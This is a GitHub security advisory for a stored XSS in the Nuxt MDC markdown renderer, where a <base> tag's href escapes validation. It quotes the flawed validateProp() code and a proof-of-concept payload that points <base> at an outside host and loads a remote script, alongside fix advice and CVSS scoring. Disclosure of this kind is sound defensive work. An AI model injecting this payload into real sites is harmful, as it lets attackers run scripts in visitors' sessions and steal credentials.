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XSS in markdown rendering bypassing HTML filter. (N°4)

High
farnabaz published GHSA-cj6r-rrr9-fg82 Jul 18, 2025

Package

mdc (nuxt-modules)

Affected versions

0.17.0

Patched versions

None

Description

Summary

A remote script-inclusion / stored XSS vulnerability in @nuxtjs/mdc lets a Markdown author inject a <base href="https://attacker.tld"> element.
The <base> tag rewrites how all subsequent relative URLs are resolved, so an attacker can make the page load scripts, styles, or images from an external, attacker-controlled origin and execute arbitrary JavaScript in the site’s context.

Details

  • Affected file : src/runtime/parser/utils/props.ts
  • Core logic  : validateProp() inspects
    • attributes that start with on → blocked
    • href or src → filtered by isAnchorLinkAllowed()
      Every other attribute and every tag (including <base>) is allowed unchanged, so the malicious href on <base> is never validated.
export const validateProp = (attribute: string, value: string) => {
  if (attribute.startsWith('on')) return false
  if (attribute === 'href' || attribute === 'src') {
    return isAnchorLinkAllowed(value)
  }
  return true               // ← “href” on <base> not checked
}

As soon as <base href="https://vozec.fr"> is parsed, any later relative path—/script.js, ../img.png, etc.—is fetched from the attacker’s domain.

Proof of Concept

Place the following in any Markdown handled by Nuxt MDC:

<base href="https://vozec.fr">
<script src="/xss.js"></script>
  1. Start the Nuxt app (npm run dev).
  2. Visit the page.
  3. The browser requests https://vozec.fr/xss.js, and whatever JavaScript it returns runs under the vulnerable site’s origin (unless CSP blocks it).

Impact

  • Type    : Stored XSS via remote script inclusion
  • Affected apps: Any Nuxt project using @nuxtjs/mdc to render user-controlled Markdown (blogs, CMSs, docs, comments…).
  • Consequences: Full takeover of visitor sessions, credential theft, defacement, phishing, CSRF, or any action executable via injected scripts.

Recommendations

  1. Disallow or sanitize <base> tags in the renderer. The safest fix is to strip them entirely.
  2. Alternatively, restrict href on <base> to same-origin URLs and refuse protocols like http:, https:, data:, etc. that do not match the current site origin.
  3. Publish a patched release and document the security fix.
  4. Until patched, disable raw HTML in Markdown or use an external sanitizer (e.g., DOMPurify) with FORBID_TAGS: ['base'].

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L

CVE ID

CVE-2025-54075

Weaknesses

Improper Neutralization of Script-Related HTML Tags in a Web Page (Basic XSS)

The product receives input from an upstream component, but it does not neutralize or incorrectly neutralizes special characters such as <, >, and & that could be interpreted as web-scripting elements when they are sent to a downstream component that processes web pages. Learn more on MITRE.

Credits